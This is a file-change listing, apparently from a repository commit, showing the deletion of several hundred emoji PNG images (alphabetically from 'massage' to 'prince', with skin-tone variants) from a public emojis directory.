-rw-r--r--public/-/emojis/2/massage.pngbin899 -> 0 bytes
-rw-r--r--public/-/emojis/2/massage_tone1.pngbin881 -> 0 bytes
-rw-r--r--public/-/emojis/2/massage_tone2.pngbin844 -> 0 bytes
-rw-r--r--public/-/emojis/2/massage_tone3.pngbin792 -> 0 bytes
-rw-r--r--public/-/emojis/2/massage_tone4.pngbin801 -> 0 bytes
-rw-r--r--public/-/emojis/2/massage_tone5.pngbin699 -> 0 bytes
-rw-r--r--public/-/emojis/2/meat_on_bone.pngbin851 -> 0 bytes
-rw-r--r--public/-/emojis/2/medal.pngbin1025 -> 0 bytes
-rw-r--r--public/-/emojis/2/medical_symbol.pngbin610 -> 0 bytes
-rw-r--r--public/-/emojis/2/mega.pngbin873 -> 0 bytes
-rw-r--r--public/-/emojis/2/melon.pngbin865 -> 0 bytes
-rw-r--r--public/-/emojis/2/men_with_bunny_ears_partying.pngbin678 -> 0 bytes
-rw-r--r--public/-/emojis/2/men_wrestling.pngbin1304 -> 0 bytes
-rw-r--r--public/-/emojis/2/menorah.pngbin839 -> 0 bytes
-rw-r--r--public/-/emojis/2/mens.pngbin617 -> 0 bytes
-rw-r--r--public/-/emojis/2/mermaid.pngbin1318 -> 0 bytes
-rw-r--r--public/-/emojis/2/mermaid_tone1.pngbin1309 -> 0 bytes
-rw-r--r--public/-/emojis/2/mermaid_tone2.pngbin1239 -> 0 bytes
-rw-r--r--public/-/emojis/2/mermaid_tone3.pngbin1301 -> 0 bytes
-rw-r--r--public/-/emojis/2/mermaid_tone4.pngbin1258 -> 0 bytes
-rw-r--r--public/-/emojis/2/mermaid_tone5.pngbin1277 -> 0 bytes
-rw-r--r--public/-/emojis/2/merman.pngbin1248 -> 0 bytes
-rw-r--r--public/-/emojis/2/merman_tone1.pngbin1293 -> 0 bytes
-rw-r--r--public/-/emojis/2/merman_tone2.pngbin1243 -> 0 bytes
-rw-r--r--public/-/emojis/2/merman_tone3.pngbin1231 -> 0 bytes
-rw-r--r--public/-/emojis/2/merman_tone4.pngbin1231 -> 0 bytes
-rw-r--r--public/-/emojis/2/merman_tone5.pngbin1184 -> 0 bytes
-rw-r--r--public/-/emojis/2/merperson.pngbin1290 -> 0 bytes
-rw-r--r--public/-/emojis/2/merperson_tone1.pngbin1309 -> 0 bytes
-rw-r--r--public/-/emojis/2/merperson_tone2.pngbin1239 -> 0 bytes
-rw-r--r--public/-/emojis/2/merperson_tone3.pngbin1301 -> 0 bytes
-rw-r--r--public/-/emojis/2/merperson_tone4.pngbin1258 -> 0 bytes
-rw-r--r--public/-/emojis/2/merperson_tone5.pngbin1277 -> 0 bytes
-rw-r--r--public/-/emojis/2/metal.pngbin523 -> 0 bytes
-rw-r--r--public/-/emojis/2/metal_tone1.pngbin511 -> 0 bytes
-rw-r--r--public/-/emojis/2/metal_tone2.pngbin512 -> 0 bytes
-rw-r--r--public/-/emojis/2/metal_tone3.pngbin539 -> 0 bytes
-rw-r--r--public/-/emojis/2/metal_tone4.pngbin522 -> 0 bytes
-rw-r--r--public/-/emojis/2/metal_tone5.pngbin557 -> 0 bytes
-rw-r--r--public/-/emojis/2/metro.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/microbe.pngbin717 -> 0 bytes
-rw-r--r--public/-/emojis/2/microphone.pngbin774 -> 0 bytes
-rw-r--r--public/-/emojis/2/microphone2.pngbin949 -> 0 bytes
-rw-r--r--public/-/emojis/2/microscope.pngbin822 -> 0 bytes
-rw-r--r--public/-/emojis/2/middle_finger.pngbin447 -> 0 bytes
-rw-r--r--public/-/emojis/2/middle_finger_tone1.pngbin432 -> 0 bytes
-rw-r--r--public/-/emojis/2/middle_finger_tone2.pngbin452 -> 0 bytes
-rw-r--r--public/-/emojis/2/middle_finger_tone3.pngbin457 -> 0 bytes
-rw-r--r--public/-/emojis/2/middle_finger_tone4.pngbin457 -> 0 bytes
-rw-r--r--public/-/emojis/2/middle_finger_tone5.pngbin472 -> 0 bytes
-rw-r--r--public/-/emojis/2/military_medal.pngbin693 -> 0 bytes
-rw-r--r--public/-/emojis/2/milk.pngbin511 -> 0 bytes
-rw-r--r--public/-/emojis/2/milky_way.pngbin1263 -> 0 bytes
-rw-r--r--public/-/emojis/2/minibus.pngbin687 -> 0 bytes
-rw-r--r--public/-/emojis/2/minidisc.pngbin833 -> 0 bytes
-rw-r--r--public/-/emojis/2/mobile_phone_off.pngbin748 -> 0 bytes
-rw-r--r--public/-/emojis/2/money_mouth.pngbin915 -> 0 bytes
-rw-r--r--public/-/emojis/2/money_with_wings.pngbin1009 -> 0 bytes
-rw-r--r--public/-/emojis/2/moneybag.pngbin747 -> 0 bytes
-rw-r--r--public/-/emojis/2/monkey.pngbin1111 -> 0 bytes
-rw-r--r--public/-/emojis/2/monkey_face.pngbin742 -> 0 bytes
-rw-r--r--public/-/emojis/2/monorail.pngbin585 -> 0 bytes
-rw-r--r--public/-/emojis/2/moon_cake.pngbin762 -> 0 bytes
-rw-r--r--public/-/emojis/2/mortar_board.pngbin633 -> 0 bytes
-rw-r--r--public/-/emojis/2/mosque.pngbin699 -> 0 bytes
-rw-r--r--public/-/emojis/2/mosquito.pngbin896 -> 0 bytes
-rw-r--r--public/-/emojis/2/motor_scooter.pngbin816 -> 0 bytes
-rw-r--r--public/-/emojis/2/motorboat.pngbin639 -> 0 bytes
-rw-r--r--public/-/emojis/2/motorcycle.pngbin1195 -> 0 bytes
-rw-r--r--public/-/emojis/2/motorway.pngbin802 -> 0 bytes
-rw-r--r--public/-/emojis/2/mount_fuji.pngbin898 -> 0 bytes
-rw-r--r--public/-/emojis/2/mountain.pngbin783 -> 0 bytes
-rw-r--r--public/-/emojis/2/mountain_bicyclist.pngbin1357 -> 0 bytes
-rw-r--r--public/-/emojis/2/mountain_bicyclist_tone1.pngbin1349 -> 0 bytes
-rw-r--r--public/-/emojis/2/mountain_bicyclist_tone2.pngbin1344 -> 0 bytes
-rw-r--r--public/-/emojis/2/mountain_bicyclist_tone3.pngbin1279 -> 0 bytes
-rw-r--r--public/-/emojis/2/mountain_bicyclist_tone4.pngbin1244 -> 0 bytes
-rw-r--r--public/-/emojis/2/mountain_bicyclist_tone5.pngbin1304 -> 0 bytes
-rw-r--r--public/-/emojis/2/mountain_cableway.pngbin690 -> 0 bytes
-rw-r--r--public/-/emojis/2/mountain_railway.pngbin751 -> 0 bytes
-rw-r--r--public/-/emojis/2/mountain_snow.pngbin904 -> 0 bytes
-rw-r--r--public/-/emojis/2/mouse.pngbin859 -> 0 bytes
-rw-r--r--public/-/emojis/2/mouse2.pngbin718 -> 0 bytes
-rw-r--r--public/-/emojis/2/mouse_three_button.pngbin678 -> 0 bytes
-rw-r--r--public/-/emojis/2/movie_camera.pngbin912 -> 0 bytes
-rw-r--r--public/-/emojis/2/moyai.pngbin815 -> 0 bytes
-rw-r--r--public/-/emojis/2/mrs_claus.pngbin1138 -> 0 bytes
-rw-r--r--public/-/emojis/2/mrs_claus_tone1.pngbin1011 -> 0 bytes
-rw-r--r--public/-/emojis/2/mrs_claus_tone2.pngbin986 -> 0 bytes
-rw-r--r--public/-/emojis/2/mrs_claus_tone3.pngbin1035 -> 0 bytes
-rw-r--r--public/-/emojis/2/mrs_claus_tone4.pngbin1020 -> 0 bytes
-rw-r--r--public/-/emojis/2/mrs_claus_tone5.pngbin1050 -> 0 bytes
-rw-r--r--public/-/emojis/2/muscle.pngbin623 -> 0 bytes
-rw-r--r--public/-/emojis/2/muscle_tone1.pngbin581 -> 0 bytes
-rw-r--r--public/-/emojis/2/muscle_tone2.pngbin562 -> 0 bytes
-rw-r--r--public/-/emojis/2/muscle_tone3.pngbin594 -> 0 bytes
-rw-r--r--public/-/emojis/2/muscle_tone4.pngbin619 -> 0 bytes
-rw-r--r--public/-/emojis/2/muscle_tone5.pngbin634 -> 0 bytes
-rw-r--r--public/-/emojis/2/mushroom.pngbin914 -> 0 bytes
-rw-r--r--public/-/emojis/2/musical_keyboard.pngbin554 -> 0 bytes
-rw-r--r--public/-/emojis/2/musical_note.pngbin435 -> 0 bytes
-rw-r--r--public/-/emojis/2/musical_score.pngbin604 -> 0 bytes
-rw-r--r--public/-/emojis/2/mute.pngbin1117 -> 0 bytes
-rw-r--r--public/-/emojis/2/nail_care.pngbin802 -> 0 bytes
-rw-r--r--public/-/emojis/2/nail_care_tone1.pngbin751 -> 0 bytes
-rw-r--r--public/-/emojis/2/nail_care_tone2.pngbin830 -> 0 bytes
-rw-r--r--public/-/emojis/2/nail_care_tone3.pngbin758 -> 0 bytes
-rw-r--r--public/-/emojis/2/nail_care_tone4.pngbin799 -> 0 bytes
-rw-r--r--public/-/emojis/2/nail_care_tone5.pngbin809 -> 0 bytes
-rw-r--r--public/-/emojis/2/name_badge.pngbin625 -> 0 bytes
-rw-r--r--public/-/emojis/2/nauseated_face.pngbin782 -> 0 bytes
-rw-r--r--public/-/emojis/2/nazar_amulet.pngbin1017 -> 0 bytes
-rw-r--r--public/-/emojis/2/necktie.pngbin852 -> 0 bytes
-rw-r--r--public/-/emojis/2/negative_squared_cross_mark.pngbin586 -> 0 bytes
-rw-r--r--public/-/emojis/2/nerd.pngbin979 -> 0 bytes
-rw-r--r--public/-/emojis/2/neutral_face.pngbin615 -> 0 bytes
-rw-r--r--public/-/emojis/2/new.pngbin578 -> 0 bytes
-rw-r--r--public/-/emojis/2/new_moon.pngbin750 -> 0 bytes
-rw-r--r--public/-/emojis/2/new_moon_with_face.pngbin1017 -> 0 bytes
-rw-r--r--public/-/emojis/2/newspaper.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/newspaper2.pngbin938 -> 0 bytes
-rw-r--r--public/-/emojis/2/ng.pngbin598 -> 0 bytes
-rw-r--r--public/-/emojis/2/night_with_stars.pngbin1010 -> 0 bytes
-rw-r--r--public/-/emojis/2/nine.pngbin663 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_bell.pngbin1084 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_bicycles.pngbin1180 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_entry.pngbin589 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_entry_sign.pngbin858 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_good.pngbin838 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_good_tone1.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_good_tone2.pngbin851 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_good_tone3.pngbin814 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_good_tone4.pngbin778 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_good_tone5.pngbin835 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_mobile_phones.pngbin945 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_mouth.pngbin624 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_pedestrians.pngbin1066 -> 0 bytes
-rw-r--r--public/-/emojis/2/no_smoking.pngbin1025 -> 0 bytes
-rw-r--r--public/-/emojis/2/non-potable_water.pngbin1078 -> 0 bytes
-rw-r--r--public/-/emojis/2/nose.pngbin416 -> 0 bytes
-rw-r--r--public/-/emojis/2/nose_tone1.pngbin569 -> 0 bytes
-rw-r--r--public/-/emojis/2/nose_tone2.pngbin361 -> 0 bytes
-rw-r--r--public/-/emojis/2/nose_tone3.pngbin519 -> 0 bytes
-rw-r--r--public/-/emojis/2/nose_tone4.pngbin363 -> 0 bytes
-rw-r--r--public/-/emojis/2/nose_tone5.pngbin542 -> 0 bytes
-rw-r--r--public/-/emojis/2/notebook.pngbin270 -> 0 bytes
-rw-r--r--public/-/emojis/2/notebook_with_decorative_cover.pngbin311 -> 0 bytes
-rw-r--r--public/-/emojis/2/notepad_spiral.pngbin417 -> 0 bytes
-rw-r--r--public/-/emojis/2/notes.pngbin593 -> 0 bytes
-rw-r--r--public/-/emojis/2/nut_and_bolt.pngbin889 -> 0 bytes
-rw-r--r--public/-/emojis/2/o.pngbin530 -> 0 bytes
-rw-r--r--public/-/emojis/2/o2.pngbin669 -> 0 bytes
-rw-r--r--public/-/emojis/2/ocean.pngbin1195 -> 0 bytes
-rw-r--r--public/-/emojis/2/octagonal_sign.pngbin616 -> 0 bytes
-rw-r--r--public/-/emojis/2/octopus.pngbin1372 -> 0 bytes
-rw-r--r--public/-/emojis/2/oden.pngbin831 -> 0 bytes
-rw-r--r--public/-/emojis/2/office.pngbin520 -> 0 bytes
-rw-r--r--public/-/emojis/2/oil.pngbin627 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok.pngbin661 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_hand.pngbin610 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_hand_tone1.pngbin632 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_hand_tone2.pngbin587 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_hand_tone3.pngbin602 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_hand_tone4.pngbin601 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_hand_tone5.pngbin614 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_woman.pngbin998 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_woman_tone1.pngbin1008 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_woman_tone2.pngbin981 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_woman_tone3.pngbin963 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_woman_tone4.pngbin928 -> 0 bytes
-rw-r--r--public/-/emojis/2/ok_woman_tone5.pngbin904 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_adult.pngbin846 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_adult_tone1.pngbin801 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_adult_tone2.pngbin823 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_adult_tone3.pngbin846 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_adult_tone4.pngbin868 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_adult_tone5.pngbin860 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_man.pngbin760 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_man_tone1.pngbin795 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_man_tone2.pngbin799 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_man_tone3.pngbin820 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_man_tone4.pngbin798 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_man_tone5.pngbin818 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_woman.pngbin887 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_woman_tone1.pngbin827 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_woman_tone2.pngbin817 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_woman_tone3.pngbin814 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_woman_tone4.pngbin811 -> 0 bytes
-rw-r--r--public/-/emojis/2/older_woman_tone5.pngbin844 -> 0 bytes
-rw-r--r--public/-/emojis/2/om_symbol.pngbin795 -> 0 bytes
-rw-r--r--public/-/emojis/2/on.pngbin538 -> 0 bytes
-rw-r--r--public/-/emojis/2/oncoming_automobile.pngbin817 -> 0 bytes
-rw-r--r--public/-/emojis/2/oncoming_bus.pngbin647 -> 0 bytes
-rw-r--r--public/-/emojis/2/oncoming_police_car.pngbin935 -> 0 bytes
-rw-r--r--public/-/emojis/2/oncoming_taxi.pngbin784 -> 0 bytes
-rw-r--r--public/-/emojis/2/one.pngbin539 -> 0 bytes
-rw-r--r--public/-/emojis/2/open_file_folder.pngbin415 -> 0 bytes
-rw-r--r--public/-/emojis/2/open_hands.pngbin597 -> 0 bytes
-rw-r--r--public/-/emojis/2/open_hands_tone1.pngbin580 -> 0 bytes
-rw-r--r--public/-/emojis/2/open_hands_tone2.pngbin535 -> 0 bytes
-rw-r--r--public/-/emojis/2/open_hands_tone3.pngbin562 -> 0 bytes
-rw-r--r--public/-/emojis/2/open_hands_tone4.pngbin513 -> 0 bytes
-rw-r--r--public/-/emojis/2/open_hands_tone5.pngbin588 -> 0 bytes
-rw-r--r--public/-/emojis/2/open_mouth.pngbin662 -> 0 bytes
-rw-r--r--public/-/emojis/2/open_umbrella.pngbin564 -> 0 bytes
-rw-r--r--public/-/emojis/2/ophiuchus.pngbin683 -> 0 bytes
-rw-r--r--public/-/emojis/2/orange_book.pngbin331 -> 0 bytes
-rw-r--r--public/-/emojis/2/orange_heart.pngbin577 -> 0 bytes
-rw-r--r--public/-/emojis/2/orthodox_cross.pngbin628 -> 0 bytes
-rw-r--r--public/-/emojis/2/outbox_tray.pngbin723 -> 0 bytes
-rw-r--r--public/-/emojis/2/owl.pngbin1204 -> 0 bytes
-rw-r--r--public/-/emojis/2/ox.pngbin630 -> 0 bytes
-rw-r--r--public/-/emojis/2/package.pngbin838 -> 0 bytes
-rw-r--r--public/-/emojis/2/page_facing_up.pngbin384 -> 0 bytes
-rw-r--r--public/-/emojis/2/page_with_curl.pngbin447 -> 0 bytes
-rw-r--r--public/-/emojis/2/pager.pngbin660 -> 0 bytes
-rw-r--r--public/-/emojis/2/paintbrush.pngbin492 -> 0 bytes
-rw-r--r--public/-/emojis/2/palm_tree.pngbin846 -> 0 bytes
-rw-r--r--public/-/emojis/2/palms_up_together.pngbin690 -> 0 bytes
-rw-r--r--public/-/emojis/2/palms_up_together_tone1.pngbin662 -> 0 bytes
-rw-r--r--public/-/emojis/2/palms_up_together_tone2.pngbin666 -> 0 bytes
-rw-r--r--public/-/emojis/2/palms_up_together_tone3.pngbin603 -> 0 bytes
-rw-r--r--public/-/emojis/2/palms_up_together_tone4.pngbin581 -> 0 bytes
-rw-r--r--public/-/emojis/2/palms_up_together_tone5.pngbin612 -> 0 bytes
-rw-r--r--public/-/emojis/2/pancakes.pngbin1039 -> 0 bytes
-rw-r--r--public/-/emojis/2/panda_face.pngbin1016 -> 0 bytes
-rw-r--r--public/-/emojis/2/paperclip.pngbin648 -> 0 bytes
-rw-r--r--public/-/emojis/2/paperclips.pngbin1051 -> 0 bytes
-rw-r--r--public/-/emojis/2/park.pngbin1236 -> 0 bytes
-rw-r--r--public/-/emojis/2/parking.pngbin639 -> 0 bytes
-rw-r--r--public/-/emojis/2/parrot.pngbin960 -> 0 bytes
-rw-r--r--public/-/emojis/2/part_alternation_mark.pngbin583 -> 0 bytes
-rw-r--r--public/-/emojis/2/partly_sunny.pngbin778 -> 0 bytes
-rw-r--r--public/-/emojis/2/partying_face.pngbin1336 -> 0 bytes
-rw-r--r--public/-/emojis/2/passport_control.pngbin630 -> 0 bytes
-rw-r--r--public/-/emojis/2/pause_button.pngbin527 -> 0 bytes
-rw-r--r--public/-/emojis/2/peace.pngbin1002 -> 0 bytes
-rw-r--r--public/-/emojis/2/peach.pngbin1030 -> 0 bytes
-rw-r--r--public/-/emojis/2/peacock.pngbin1222 -> 0 bytes
-rw-r--r--public/-/emojis/2/peanuts.pngbin780 -> 0 bytes
-rw-r--r--public/-/emojis/2/pear.pngbin575 -> 0 bytes
-rw-r--r--public/-/emojis/2/pen_ballpoint.pngbin540 -> 0 bytes
-rw-r--r--public/-/emojis/2/pen_fountain.pngbin585 -> 0 bytes
-rw-r--r--public/-/emojis/2/pencil.pngbin587 -> 0 bytes
-rw-r--r--public/-/emojis/2/pencil2.pngbin408 -> 0 bytes
-rw-r--r--public/-/emojis/2/penguin.pngbin911 -> 0 bytes
-rw-r--r--public/-/emojis/2/pensive.pngbin711 -> 0 bytes
-rw-r--r--public/-/emojis/2/performing_arts.pngbin1290 -> 0 bytes
-rw-r--r--public/-/emojis/2/persevere.pngbin706 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_climbing.pngbin1156 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_climbing_tone1.pngbin1209 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_climbing_tone2.pngbin1158 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_climbing_tone3.pngbin1047 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_climbing_tone4.pngbin1025 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_climbing_tone5.pngbin1032 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_frowning.pngbin785 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_frowning_tone1.pngbin726 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_frowning_tone2.pngbin798 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_frowning_tone3.pngbin756 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_frowning_tone4.pngbin696 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_frowning_tone5.pngbin713 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_golfing_tone1.pngbin802 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_golfing_tone2.pngbin812 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_golfing_tone3.pngbin819 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_golfing_tone4.pngbin766 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_golfing_tone5.pngbin742 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_bed_tone1.pngbin565 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_bed_tone2.pngbin557 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_bed_tone3.pngbin558 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_bed_tone4.pngbin561 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_bed_tone5.pngbin532 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_lotus_position.pngbin943 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_lotus_position_tone1.pngbin968 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_lotus_position_tone2.pngbin945 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_lotus_position_tone3.pngbin861 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_lotus_position_tone4.pngbin853 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_lotus_position_tone5.pngbin879 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_steamy_room.pngbin869 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_steamy_room_tone1.pngbin907 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_steamy_room_tone2.pngbin892 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_steamy_room_tone3.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_steamy_room_tone4.pngbin822 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_in_steamy_room_tone5.pngbin793 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_blond_hair.pngbin823 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_blond_hair_tone1.pngbin805 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_blond_hair_tone2.pngbin772 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_blond_hair_tone3.pngbin765 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_blond_hair_tone4.pngbin828 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_blond_hair_tone5.pngbin830 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_pouting_face.pngbin760 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_pouting_face_tone1.pngbin794 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_pouting_face_tone2.pngbin782 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_pouting_face_tone3.pngbin700 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_pouting_face_tone4.pngbin734 -> 0 bytes
-rw-r--r--public/-/emojis/2/person_with_pouting_face_tone5.pngbin727 -> 0 bytes
-rw-r--r--public/-/emojis/2/petri_dish.pngbin860 -> 0 bytes
-rw-r--r--public/-/emojis/2/phone.pngbin868 -> 0 bytes
-rw-r--r--public/-/emojis/2/pick.pngbin575 -> 0 bytes
-rw-r--r--public/-/emojis/2/pie.pngbin1060 -> 0 bytes
-rw-r--r--public/-/emojis/2/pig.pngbin882 -> 0 bytes
-rw-r--r--public/-/emojis/2/pig2.pngbin658 -> 0 bytes
-rw-r--r--public/-/emojis/2/pig_nose.pngbin718 -> 0 bytes
-rw-r--r--public/-/emojis/2/pill.pngbin563 -> 0 bytes
-rw-r--r--public/-/emojis/2/pineapple.pngbin942 -> 0 bytes
-rw-r--r--public/-/emojis/2/ping_pong.pngbin687 -> 0 bytes
-rw-r--r--public/-/emojis/2/pirate_flag.pngbin710 -> 0 bytes
-rw-r--r--public/-/emojis/2/pisces.pngbin767 -> 0 bytes
-rw-r--r--public/-/emojis/2/pizza.pngbin889 -> 0 bytes
-rw-r--r--public/-/emojis/2/place_of_worship.pngbin670 -> 0 bytes
-rw-r--r--public/-/emojis/2/play_pause.pngbin566 -> 0 bytes
-rw-r--r--public/-/emojis/2/pleading_face.pngbin907 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_down.pngbin465 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_down_tone1.pngbin437 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_down_tone2.pngbin440 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_down_tone3.pngbin451 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_down_tone4.pngbin448 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_down_tone5.pngbin496 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_left.pngbin449 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_left_tone1.pngbin430 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_left_tone2.pngbin430 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_left_tone3.pngbin442 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_left_tone4.pngbin417 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_left_tone5.pngbin446 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_right.pngbin461 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_right_tone1.pngbin433 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_right_tone2.pngbin442 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_right_tone3.pngbin439 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_right_tone4.pngbin422 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_right_tone5.pngbin447 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up.pngbin467 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_2.pngbin462 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_2_tone1.pngbin474 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_2_tone2.pngbin447 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_2_tone3.pngbin444 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_2_tone4.pngbin429 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_2_tone5.pngbin445 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_tone1.pngbin459 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_tone2.pngbin546 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_tone3.pngbin457 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_tone4.pngbin472 -> 0 bytes
-rw-r--r--public/-/emojis/2/point_up_tone5.pngbin493 -> 0 bytes
-rw-r--r--public/-/emojis/2/police_car.pngbin758 -> 0 bytes
-rw-r--r--public/-/emojis/2/poodle.pngbin816 -> 0 bytes
-rw-r--r--public/-/emojis/2/poop.pngbin834 -> 0 bytes
-rw-r--r--public/-/emojis/2/popcorn.pngbin904 -> 0 bytes
-rw-r--r--public/-/emojis/2/post_office.pngbin498 -> 0 bytes
-rw-r--r--public/-/emojis/2/postal_horn.pngbin682 -> 0 bytes
-rw-r--r--public/-/emojis/2/postbox.pngbin687 -> 0 bytes
-rw-r--r--public/-/emojis/2/potable_water.pngbin688 -> 0 bytes
-rw-r--r--public/-/emojis/2/potato.pngbin789 -> 0 bytes
-rw-r--r--public/-/emojis/2/pouch.pngbin642 -> 0 bytes
-rw-r--r--public/-/emojis/2/poultry_leg.pngbin733 -> 0 bytes
-rw-r--r--public/-/emojis/2/pound.pngbin716 -> 0 bytes
-rw-r--r--public/-/emojis/2/pound_symbol.pngbin743 -> 0 bytes
-rw-r--r--public/-/emojis/2/pouting_cat.pngbin827 -> 0 bytes
-rw-r--r--public/-/emojis/2/pray.pngbin615 -> 0 bytes
-rw-r--r--public/-/emojis/2/pray_tone1.pngbin611 -> 0 bytes
-rw-r--r--public/-/emojis/2/pray_tone2.pngbin564 -> 0 bytes
-rw-r--r--public/-/emojis/2/pray_tone3.pngbin589 -> 0 bytes
-rw-r--r--public/-/emojis/2/pray_tone4.pngbin589 -> 0 bytes
-rw-r--r--public/-/emojis/2/pray_tone5.pngbin532 -> 0 bytes
-rw-r--r--public/-/emojis/2/prayer_beads.pngbin1129 -> 0 bytes
-rw-r--r--public/-/emojis/2/pregnant_woman.pngbin675 -> 0 bytes
-rw-r--r--public/-/emojis/2/pregnant_woman_tone1.pngbin730 -> 0 bytes
-rw-r--r--public/-/emojis/2/pregnant_woman_tone2.pngbin792 -> 0 bytes
-rw-r--r--public/-/emojis/2/pregnant_woman_tone3.pngbin709 -> 0 bytes
-rw-r--r--public/-/emojis/2/pregnant_woman_tone4.pngbin666 -> 0 bytes
-rw-r--r--public/-/emojis/2/pregnant_woman_tone5.pngbin672 -> 0 bytes
-rw-r--r--public/-/emojis/2/pretzel.pngbin851 -> 0 bytes
-rw-r--r--public/-/emojis/2/prince.pngbin1136 -> 0 bytes
